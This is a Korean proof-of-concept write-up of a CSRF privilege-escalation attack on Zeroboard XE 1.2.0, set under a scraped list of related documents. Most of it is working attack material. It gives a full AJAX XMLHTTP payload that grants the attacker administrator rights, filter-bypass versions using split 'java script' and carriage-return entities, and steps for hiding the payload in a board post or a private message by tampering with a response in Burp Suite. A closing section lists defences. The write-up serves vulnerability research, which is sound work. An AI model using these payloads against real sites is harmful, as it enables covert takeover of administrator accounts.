Microsoft Word - 제로보드 XE_CSRF증명.doc

Similar documents
untitled

Web 2.0 CSRF exploitation

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Web Scraper in 30 Minutes 강철

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

제목 레이아웃

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

PowerPoint Template

Secure Programming Lecture1 : Introduction

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2000) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2000 Exchange Server 2003 GFI MailEssentials 14 for

Windows 8에서 BioStar 1 설치하기

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

SIGIL 완벽입문

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

Windows Live Hotmail Custom Domains Korea

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

PowerPoint Presentation

Microsoft Word - src.doc

3장

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

PowerPoint Template

게시판 스팸 실시간 차단 시스템

C스토어 사용자 매뉴얼

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

MF3010 MF Driver Installation Guide

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

vRealize Automation용 VMware Remote Console - VMware

슬라이드 1

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

BEA_WebLogic.hwp

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

Studuino소프트웨어 설치

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

슬라이드 1

SBR-100S User Manual

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

윈도우시스템프로그래밍

Microsoft PowerPoint - web-part03-ch19-node.js기본.pptx

Act84_

5-03-Â÷¼¼´ëÀ¥Iš

View Licenses and Services (customer)

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2003) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2003 Exchange Server 2003 GFI MailEssentials 2010 fo

C H A P T E R 2

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F32C2F7BDC32E >

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

!K_InDesginCS_NFH

Microsoft PowerPoint - web-part02-ch15-문서객체조작.pptx

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

TTA Journal No.157_서체변경.indd

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

[ 네이버마일리지 ] 디자인셋팅매뉴얼 1. 장바구니페이지에네이버마일리지안내추가 - 위치 : HTML 디자인설정 > 장바구니 > 장바구니주문목록 {{$c_3}} [ 편집 ] 버튼클릭 > HTML 편집탭으로이동 > 여러개의장바구니모두결제버튼 {u9} [ 편집 ] 버튼클릭하

1. SNS Topic 생성여기를클릭하여펼치기... Create Topic 실행 Topic Name, Display name 입력후 Create topic * Topic name : 특수문자는 hyphens( - ), underscores( _ ) 만허용한다. Topi

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

Microsoft Word - CrossSiteScripting[XSS].docx

사용자계정관리 1. 사용자계정관리 사용자 (user), 그룹 (group) u 다중사용자시스템 (Multi-User System) - 1 대의시스템을동시에여러사람이접속하여쓸수있게하는시스템 u 사용자 (user) - 시스템관리자 : root (=Super user) -

ArcGIS Desktop 9.2 Install Guide

*2008년1월호진짜

untitled

암호내지

표준프레임워크로 구성된 컨텐츠를 솔루션에 적용하는 것에 문제가 없는지 확인

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

Internet Explorer 11 자동업데이트방지 사용자가이드 작성일 : Version 1.0

(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

로거 자료실

PowerPoint 프레젠테이션

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

WebRTC 플러그인이 필요없는 웹폰 새로운 순수 VoIP 클라이언트 기반의 최신 WebRTC 기술은 기존 레가시 자바 클라이언트를 대체합니다. 새로운 클라이언트는 윈도우/리눅스/Mac 에서 사용가능하며 Chrome, Firefox 및 오페라 브라우저에서는 바로 사용이

미쓰리 파워포인트

PowerPoint 프레젠테이션

Endpoint Protector - Active Directory Deployment Guide

공개 SW 기술지원센터

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

메뉴얼41페이지-2

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

PowerPoint Presentation

SAS9.2_SAS_Enterprise_Miner_install_guide_single_user_v2

Javascript

쉽게 풀어쓴 C 프로그래밍

슬라이드 1

SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

Microsoft PowerPoint - 5. 사용자 계정관리-1(2016-1학기).ppt [호환 모드]

Splentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: E-M

Microsoft PowerPoint - chap01-C언어개요.pptx

목차 1. 신분증스캐너신청... 3 (1) 신분증스캐너신청... 3 (1) 최소사양및권장사양... 6 (2) 환경설정 신분증스캐너설치 (1) 드라이버다운로드 (2) 드라이버설치 신분증스캐너등록 (1) 보안키

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu


KMC.xlsm

Transcription:

제로보드 XE - CSRF 취약점증명 작성자 : eits1st 작성날짜 : 09년 3월 16일 목 차 1. 개요 1) CSRF의정의 2) 제로보드 XE 3) CSRF 테스트환경 2. 취약점증명 1) 권한상승시웹서버로전송되는 Request( 요청 ) 구문확인및추출 2) 확인된 Request( 요청 ) 구문을 AJAX(httpxml) 코드로작성 3) AJAX(httpxml) 코드를브라우저에적용및공격확인가. 게시판에글쓰기를이용한공격나. 쪽지보내기기능을이용한공격 3. 결과및취약점대응방안 1) 대응방안가. Referer 확인나. HTML 기능제거다. 관리자패스워드확인 2) 결과 제로보드 XE의 CSRF 취약점은이미 2008년에 ISEC2008 컨퍼런스에서 x82님이발표한내용이며, 이문서는그발표자료를바탕으로작성되었다. 그후개발자의패치를통해해당문서에서일부공개된공격코드가무효화되었지만, 간단한우회방법을통해제로보드의 CSRF 취약점을다시한번증명한다는것에중점을두었다. 제로보드 XE에대한 CSRF 취약점을공부하면서시행착오를겪은부분과공격코드를만들었던과정을포함하여어느정도의흐름에맞춰작성하였기에문서전체가다소길어지는부분이있음을이해하기바란다. 참고자료 : http://x82.inetcop.org/h0me/papers/web2.0-csrf.pdf

1. 개요 1) CSRF의정의 : XSS(Cross Site Script) 공격기법의연장선으로그범위를벗어나지않으나최근웹 2.0 해킹이대두되며활발히연구되고있는공격방법이다. 취약한웹페이지에자신의권한이아닌다른 User의권한을도용하여가짜 Request( 요청 ) 문을서버로전송하여그권한이실행되도록유도하는방식이다. 2) 제로보드 XE : Xpress Engine( 구제로보드 XE) 은고영수가여러자원봉사자들과함께개발한 GPL 기반오픈프로젝트로, 제로보드4나 zb5와는별개로완전히새로개발한웹프레임워크이다. 제로보드4와는달리 BBS, 블로그, 쇼핑몰, 위키등웹사이트에필요한모든것을모듈로구현해, 종합적인웹빌더로사용할수있는프레임워크를목표로개발이진행중이다. 원래명칭은 ' 제로보드 XE' 였으나, 정식으로 CMS 기능을갖춘 1.1.0 버전안내를공지하면서 ' 보드 ' 의개념이맞지않는다며명칭을변경하였다. 제로보드의명칭을유지한 1.0.6 버전까지는다양한사이트와블로그를운영할수있는홈빌더의형태였으나, Xpress Engine으로명칭을변경한 1.1.0 버전부터는마이크로블로그 ( 플래닛 ) 패키지, 가상사이트를이용한분양시스템등더폭넓고다양한기능이탑재되어있다. 2008년 2월 28일에정식버전인 1.0.0 버전을발표하였고, 최신버전은 2009 년 3월 12일에발표한 1.2.0 버전이다. 이문서는현재 (09.3.16) 에최신버전인 1.2.0버전으로테스트되었다. 위키백과인용 (http://ko.wikipedia.org/wiki/xpress_engine) 3) CSRF 테스트환경 제로보드 XE 1.2.0 Ver 운영체제 : Fedora 4 Kernel 2.6.24.3 웹서버 : PHP 5.2.9, httpd 2.2.4, MySQL 5.0.44 공격자 PC 운영체제 : Windows XP Professional Service Pack 3 브라우저 : Internet Explorer 7 웹프록시툴 : Burpsuite 1.2

2. 취약점증명 - 개념 : 제로보드 XE의최고관리자가일반회원에게등급을상승시켜주거나권한을올려때의보내는 Request( 요청 ) 구문을확인하여, 관리자가모르게그 Request( 요청 ) 구문이실행되도록한다. 1) 권한상승시웹서버로전송되는 Request( 요청 ) 구문확인및추출 [ 그림 1] 관리자의권한으로준회원인일반 user 에게최고관리권한을부여 [ 그림 2] 권한부여시전송되는 Request( 요청 ) 값

2) 확인된 Request( 요청 ) 구문을 AJAX(httpxml) 코드로작성 - 확인된 Request( 요청 ) 구문은 XML 엘리먼트형식으로작성되어있으며 POST 방식으로서버에넘어가는것을알수있다. 우리는확인된 Request( 요청 ) 값을관리자의권한으로실행을시켜야하는것에목적이있다. 공격자가관리자에게접근 (?) 할수있는일을생각해보자. 게시판의일반적인기능인 [ 글쓰기 ], 그리고 [ 쪽지보내기 ] 가있다. 여기서는이두가지모두를사용하여접근해보도록하겠다. 먼저 Request( 요청 ) 값을브라우저에서실행할수있도록 AJAX(httpxml) 코드로작성한다. - 참고사항 : 제로보드 XE의 POST 요청문은 PHP XML Library로인해데이터가 XML 엘리먼트형식으로전송된다. - http://keithdevens.com/software/phpxml 작성된 AJAX(httpxml) 코드 var xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); xmlhttp.open('post','/webboard/zbxe/',true); xmlhttp.send( <?xml version='1.0' encoding='utf-8'?><methodcall> <params> <member_srl><![cdata[196]]></member_srl> <user_id><![cdata[victim]]></user_id> <user_name><![cdata[hacker]]></user_name> <nick_name><![cdata[hacker]]></nick_name> <email_address><![cdata[hacker @ hacker.com]]></email_address> <group_srl_list><![cdata[2]]></group_srl_list> <is_admin><![cdata[y]]></is_admin> <module><![cdata[member]]></module> <act><![cdata[procmemberadmininsert]]></act> </params></methodcall>"); - AJAX(httpxml) 코드설명 : 제로보드 XE의 POST Request( 요청 ) 값은 PHP XML Library로인해데이터가 XML 엘리먼트형식으로넘어간다. 코드상에서중요한부분은 member_srl와 is_admin 부분이다. 공격자가자신의아이디의권한을상승시켜야하기때문에해당아이디의고유번호인 member_srl를인지하고있어야하며 is_admin 의값을 Y 로보내야한다. member_srl의값은밑에그림에서처럼 [ 회원정보보기 ] 를통해쉽게알수있다.

[ 그림 3] 회원정보보기를통해 member_srl 값획득 3) AJAX(httpxml) 코드를브라우저에적용 - 브라우저가코드를실행할수있게하기위한방법 (img 태그, input 태그, iframe 태그등 ) 이여러가지가있다는것을우리는이미알고있다. 이러한태그를이용하여브라우저에적용시켜보자. 가. 게시판에글쓰기를이용한 CSRF 공격 A. Input 태그를이용한공격코드 - 1 <input type=image height=0 width=0 dynsrc="javascript:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send( <?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196]]></memb er_srl> r n<user_id><![cdata[hacker]]></user_id> r n<user_name><![cdata[h acker]]></user_name> r n<nick_name><![cdata[hacker]]></nick_name> r n<em ail_address><![cdata[hacker@hacker.com]]></email_address> r n<is_admin><![c DATA[Y]]></is_admin> r n<group_srl_list><![cdata[2]]></group_srl_list> r n< module><![cdata[member]]></module> r n<act><![cdata[procmemberadminins ert]]></act> r n</params> r n</methodcall> );">

B. 게시판글쓰기기능에공격코드적용 - 1 [ 그림 4] 게시판에공격코드적용 1 - 결과는? 다음과같은오류메시지와함께글이등록되지않는다. 그이유는위와같이요청하면게시물내용중 ]]> 를 <content> 엘리먼트의 CDATA 섹션중에끝으로인식이되면서그뒷부분의내용으로인해오류가발생하기때문이다. [ 그림 5] 게시물등록 Request( 요청 ) 구문중오류나는부분

[ 그림 6] 오류메시지확인 - 우리는이오류메시지를우회하기위해유니코드의 Carriage Return <CR> 값을넣어서엘리먼트값이꼬이는것을방지할수있다. 그리고 xmlhttp.send( 다음에나오는 도유니코드형식으로바꿔준다. 다음은 Carriage Return <CR> 값 ( ) 과 Double Quote의값 (&#x22) 을추가한코드이다. 이코드를바탕으로게시물을다시작성해보자. C. Input 태그를이용한공격코드 - 2 <input type=image height=0 width=0 dynsrc="javascript:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send(&#x22<?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196] ]></ member_srl> r n<user_id><![cdata[hacker] ]></user_id> r n<user_name> <![CDATA[hacker] ]></user_name> r n<nick_name><![cdata[hacker] ] ></nick_name> r n<email_address><![cdata[hacker@hacker.com] ]></email_ address> r n<is_admin><![cdata[y] ]></is_admin> r n<group_srl_list><![c DATA[2] ]></group_srl_list> r n<module><![cdata[member] ]></modul e> r n<act><![cdata[procmemberadmininsert] ]></act> r n</params> r n</methodcall>&#x22);">

D. 게시판글쓰기기능에공격코드적용 - 2 [ 그림 7] 게시판에공격코드적용 2 - 해당게시물로공격을했으나또다시실행이제대로되지않는다. 해당게시물을수정모드로들어가면그원인을알수있다. 기본적으로제로보드 XE에서는 javascript, iframe, script 태그의실행을방지하기위해 < 를 < 로, javascript 가 _javascript 로치환을시킨다. 우리는이것또한우회하는방법을생각해보아야한다.

[ 그림 8] 게시물의수정모드 - 작성한 AJAX 코드에서우회할부분은 _javascript 이다. 여러우회방법이있지만유니코드의 Carriage Return <CR> 값을이용하여우회해보자. 코드부분에서 dynsrc= javascript: 부분을 dynsrc=" java script: 이렇게바꾸어다시게시물을작성한다. E. Input 태그를이용한공격코드 - 3 최종완성된공격코드 <input type=image height=0 width=0 dynsrc=" java script:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send(&#x22<?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196] ]></ member_srl> r n<user_id><![cdata[hacker] ]></user_id> r n<user_name> <![CDATA[hacker] ]></user_name> r n<nick_name><![cdata[hacker] ] ></nick_name> r n<email_address><![cdata[hacker@hacker.com] ]></email_ address> r n<is_admin><![cdata[y] ]></is_admin> r n<group_srl_list><![c DATA[2] ]></group_srl_list> r n<module><![cdata[member] ]></modul e> r n<act><![cdata[procmemberadmininsert] ]></act> r n</params> r n</methodcall>&#x22);">

F. 게시판글쓰기기능에공격코드적용 - 2 [ 그림 9] 게시물수정모드후완성된공격코드삽입 G. 관리자의접근을유도한글을통해관리자권한으로공격코드실행 [ 그림 10] 정상적으로글이작성되는것을확인

[ 그림 11] 관리자권한으로글을읽음 H. 공격코드의실행여부확인 - 관리자가공격코드가삽입된게시물을읽게되면공격자가심어놓은공격코드가관리자의권한으로실행이될것이다. 즉공격자의권한이상승하는코드가실행이되는것이다. 공격자의아이디로로그인한뒤관리자의권한이부여되었는지확인할수있다. [ 그림 12] 관리자페이지에접근시도

[ 그림 13] 관리자페이지에접근성공 나. 쪽지보내기기능을이용한 CSRF 공격 A. 쪽지보내기기능확인 - [ 게시판을이용한 CSRF 공격 ] 에사용된공격코드를쪽지보내기기능에그대로사용한다. 하지만아래그림과같이쪽지보내기기능에는 [html편집기 ] 라는탭이없기때문에 html 코드를작성할수없다. [ 그림 14] 쪽지보내기기능

B. 쪽지보내기사용시 Request( 요청 ) 구문과 Response( 응답 ) 구문확인 - 일반적으론 html 코드를삽입할수없다. 이부분을우회하기위해웹프록시툴인 Burpsuite를이용하여 html을삽입할수있게만들어보자. 우선쪽지보내기버튼을클릭하는순간서버로날라가는 Request( 요청 ) 구문의 Response( 응답 ) 구문을확인한다. [ 그림 15] 쪽지보내기를클릭 [ 그림 16] 쪽지보내기를클릭했을때서버로전송되는 Request( 요청 ) 구문

[ 그림 17] 쪽지보내기를클릭했을때서버에서받는 Response( 응답 ) 구문 C. Html 코드입력을위한 Response( 응답 ) 구문수정 - Response( 응답 ) 구문을중 editortypeselector 부분이있다. 그부분을확인하면 use_rich_1은스타일편집기, use_html_1은 html편집기, preview_html_1은미리보기라는것을알수있다. 일반적인글쓰기모드의 Response( 응답 ) 코드의 editortypeselector 부분 <ul class="editortypeselector"> <li class="active" id="use_rich_1"><a href="#xeeditor" onclick="editorchangemode('', '1')"><span>? ㅽ???? 몄쭛湲?/span></a></li> <!-- HTML 紐 5뱶?ъ슜 --> <li id="use_html_1"><a href="#htmleditor" onclick="editorchangemode('html', '1')"><span>HTML? 몄쭛湲?/span></a></li> <li id="preview_html_1"><a href="#htmleditor" onclick="editorchangemode('preview','1');"><span> 誘몃 蹂닿린 </span></a></li> </ul>

[ 그림 18] 쪽지보내기를클릭했을때서버에서받는 Response( 응답 ) 구문 - 일반적인글쓰기모드에서 editortypeselector 부분과 [ 그림 18] 에보여지는 editortypeselector 코드를비교해보면 use_html_1 부분이없는것을확인할수있다. 쪽지보내기의 Response( 응답 ) 구문에는 use_html_1 이없으므로 html편집기를사용할수없는것이다. use_html_1 코드부분을추가해줘도되지만여기서는간단하게 use_rich_1( 스타일편집기 ) 코드를수정하여 html 편집기모드로바꿔보자. [ 그림 19] use_rich_1 부분에서 editorchangemode 의인자값 html 을삽입 D. 공격코드삽입및쪽지보내기확인 - editortypeselector의코드수정후쪽지보내기화면은깨져나오게된다. ( 쪽지보내기화면이깨지는이유중한가지는레이아웃사이즈가맞지않기때문이라고유추해볼수있다 ) 하지만정상적으로글을쓸수있으며, 쪽지가보내지므로공격코드를삽입하여관리자에게쪽지를보내보자.

[ 그림 20] 쪽지보내기화면이깨지지만정상적으로쪽지를보낼수있음 [ 그림 21] 스크롤바를조금내린후코드를삽입하여전송

E. 관리자의쪽지확인을통한공격코드실행 - 게시판의글과마찬가지로관리자는공격코드가삽입된것을알수없다. [ 그림 22] 관리자로접속하여쪽지를확인 1 [ 그림 23] 관리자로접속하여쪽지를확인 2

F. 공격코드의실행여부확인 - 관리자가쪽지를확인하는순간공격코드관리자의권한으로실행이될것이다. 공격자의아이디로로그인한뒤관리자의권한이부여되었는지확인할수있다. [ 그림 24] 관리자페이지에접근시도 [ 그림 25] 관리자페이지에접근성공

3. 결과및취약점대응방안 1) 대응방안가. Referer 확인 - 관리자가권한을수행하는데있어서정상적인페이지에서부터시작이되었는지확인할필요가있다. Referer 또한조작이가능하지만우선적으로 Referer를확인하여정상적인 Request( 요청 ) 구문인지확인해야한다. 나. HTML 기능제거 - 일반유저가게시판이나쪽지에 HTML 코드를사용할수있는부분을제거하는것이좋다. 물론플래시파일을이용하여충분히우회가가능하지만최소한의권한을일반유저에게부여하는것이보안을높일수있는가장좋은방법이다. 다. 관리자패스워드확인 - 관리자가회원의권한을수정하는것과같은중요한기능을수행할때관리자에게아이디와패스워드를한번더물어보아야한다. 그렇게하면관리자패스워드를알아내지않는이상관리자권한을이용한 CSRF 공격을할수없다. 2) 결과 - CSRF 취약점은관리자자신도모르게공격자가원하는코드를실행시켜준다. 위에서보여진권한상승뿐만아니라소속그룹을바꾼다거나, 특정아이디의사용중지, 정보변경등많은부분으로응용이가능하다. 제로보드 XE 뿐만아니라웹상에많은어플리케이션이 CSRF 취약점에노출되어있으며그에따라패치나수정보완이필요하다. [ 경고 ] 이문서는 CSRF 취약점을연구하면서긍정적인목적으로작성한문서입니다. 이문서를악용하여사용한법적책임은모두당사자에게있음을밝힙니다.